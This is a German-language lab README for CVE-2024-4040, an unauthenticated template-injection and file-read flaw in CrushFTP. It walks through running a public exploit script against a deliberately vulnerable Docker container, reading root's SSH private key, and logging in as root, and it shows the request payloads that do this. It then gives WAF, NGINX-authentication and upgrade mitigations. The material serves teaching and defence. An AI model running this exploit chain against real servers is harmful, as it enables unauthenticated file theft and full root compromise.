
Proof-of-Concept-Exploit für CVE-2024-4040, der nicht authentifizierte SSTI und lokales Dateilesen in CrushFTP demonstriert, mit Docker-Lab und Minderungsstrategien.
| Feld | Detail |
|---|
| CVE | CVE-2024-4040 |
| Betroffene Software | CrushFTP < 10.7.1 (v10-Zweig) / < 11.1.0 (v11-Zweig) |
| Schwachstellentyp | Server-Side Template Injection (SSTI) → Nicht authentifiziertes Lesen lokaler Dateien |
| CVSS-Score | 9,8 Kritisch |
| Auswirkung | Nicht authentifizierte Angreifer können beliebige Dateien vom Server-Dateisystem lesen |
CrushFTPs WebInterface wertet Template-Ausdrücke im path-Parameter des zip-Befehls ohne Bereinigung aus. Ein nicht authentifizierter Angreifer kann anonyme Session-Cookies erlangen und diese dann verwenden, um Template-Payloads ({working_dir}, <INCLUDE>…</INCLUDE>) zu übergeben, die vom Server ausgewertet und zurückgegeben werden – was das Lesen beliebiger Dateien auf dem Host ermöglicht.
| Komponente | Wert |
|---|---|
| Ziel | http://localhost:8080 |
| Basis-PoC CrushFTP-Version | 10.3.0 (absichtlich verwundbar) |
| Testumgebung Mitigation 3 | Separater Container mit CrushFTP 11.x (gepatchter Zweig) |
| SSH-Port (Container) | 2222 → 22 |
| Admin-Zugangsdaten | admin / admin |
| Container-Laufzeit | Docker (Compose) |
pip install requests rich
| Skript | Quelle | Zweck |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | Vollständiger SSTI/LFI-Exploit – Session-Diebstahl, beliebiges Dateilesen |
recon.py | Dieses Repository | Versionserkennung, Live-SSTI-Test, Schwachstellenbestätigung |
docker-compose up -d
Warten Sie ~10 Sekunden, bis CrushFTP vollständig initialisiert ist, bevor Sie die Skripte ausführen.
Hier ist kein separater Recon-Schritt erforderlich, da crushed.py bereits während der Ausführung prüft, ob ein Exploit möglich ist.
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
Das Skript wird:
CrushAuth / currentAuth-Session von /WebInterface/ abrufen{working_dir} verwenden, um das CrushFTP-Installationsverzeichnis zu ermitteln<INCLUDE>/root/.ssh/id_rsa</INCLUDE> verwenden, um die Zieldatei zu lesenKopieren Sie den Private-Key-Block aus der Ausgabe (alles von -----BEGIN OPENSSH PRIVATE KEY----- bis -----END OPENSSH PRIVATE KEY-----).
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<Schlüssel aus Ausgabe einfügen>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# Erwartet: root
id
# Erwartet: uid=0(root) gid=0(root) groups=0(root)
hostname
# Erwartet: <container_id>
Nicht authentifizierter Angreifer
│
▼
GET /WebInterface/ ← erhält anonyme CrushAuth + currentAuth-Cookies
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI bestätigt – Template wird vom Server ausgewertet
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← gibt absoluten Installationspfad preis
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← beliebiges Dateilesen
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← vollständige Root-Shell
| Problem | Position | Details |
|---|---|---|
| Fehlende Abhängigkeit | Zeile 6–9 | Erfordert pip install rich vor der Ausführung |
| Fehleranfälliges XML-Parsing | Zeilen 86, 140 | Stürzt bei nicht-XML-Serverantworten ab; keine ParseError-Behandlung |
| Token-Regex zu streng | Zeilen 160–161 | CrushAuth=…; currentAuth=…-Muster passt möglicherweise nicht auf alle sessions.obj-Formate |
| Nur HTTP 404 | Zeile 53 | Cookie-Abruf gelingt nur bei 404; schlägt bei anderen Statuscodes still fehl |
Eine WAF fungiert als Reverse-Proxy, der eingehenden HTTP/S-Datenverkehr prüft, bevor er CrushFTP erreicht. Mit NGINX und ModSecurity werden bösartige Anfragen, die CVE-2024-4040 ausnutzen, an der Netzwerkgrenze blockiert, ohne CrushFTP selbst zu ändern.
../, %2e%2e) in Anfrage-URIs und CookiesVerwenden Sie Mitigation 1/docker-compose.yaml:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
Verwenden Sie Mitigation 1/nginx.conf:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# ModSecurity aktivieren
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# Gesamten Datenverkehr an CrushFTP proxen
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# 403 für blockierte Anfragen zurückgeben
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Request blocked by WAF"}';
}
}
}
Angreifer -> NGINX WAF (Port 80) -> blockiert bösartig -> 403 Forbidden
-> leitet sauber weiter -> CrushFTP:8080
CVE-2024-4040 ist ohne Authentifizierung ausnutzbar. In diesem Labor wird der anonyme Zugriff auf NGINX-Ebene blockiert, indem vor dem Proxy für sensible Routen zu CrushFTP ein Authorization-Header erforderlich ist.
crushed.py sind auf nicht authentifizierten Zugriff angewiesen; Anfragen ohne Anmeldedaten werden mit 401 abgelehnt/WebInterface/ und / werden verweigert, sofern keine Authentifizierungsdaten vorhanden sindservices:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
events {}
http {
server {
listen 80;
# Statische Assets ohne Authentifizierung erlauben
location ~* \.(css|js|png|jpg|ico|gif)$ {
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
}
# Nicht authentifizierten Zugriff auf WebInterface blockieren
location /WebInterface/ {
if ($http_authorization = "") {
return 401 "Authentication Required - Anonymous sessions disabled";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Authorization $http_authorization;
}
# Alles andere ohne Authentifizierung blockieren
location / {
if ($http_authorization = "") {
return 401 "Authentication Required";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
}
# Bestätigen, dass die nicht authentifizierte Anfrage von NGINX abgelehnt wird
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# Erwartet: 401 Unauthorized
# Optional: authentifizierte Anfrage sollte weitergeleitet werden
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername
Ein Upgrade auf CrushFTP 11 ist die effektivste und dauerhafte Lösung. Der Patch fügt strenge Eingabevalidierung bei der VFS-Pfadauflösung hinzu und beseitigt so die Ursache von CVE-2024-4040.
crushed.py funktionieren gegen Version 11 nicht mehrAktualisieren Sie Ihr Dockerfile, um CrushFTP 11 zu verwenden:
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt
RUN apt-get update -y && apt-get -y install unzip wget openssh-server
COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip
EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22
WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"
CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d
Container neu erstellen:
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d
# Exploit gegen v11 ausführen – sollte fehlschlagen
# Hinweis: Das Skript dieses Repositories verwendet -t/--target.
python3 crushed.py -t http://localhost:8080
# Erwartet: Exploit gibt keine Ausgabe oder Verbindungsfehler zurück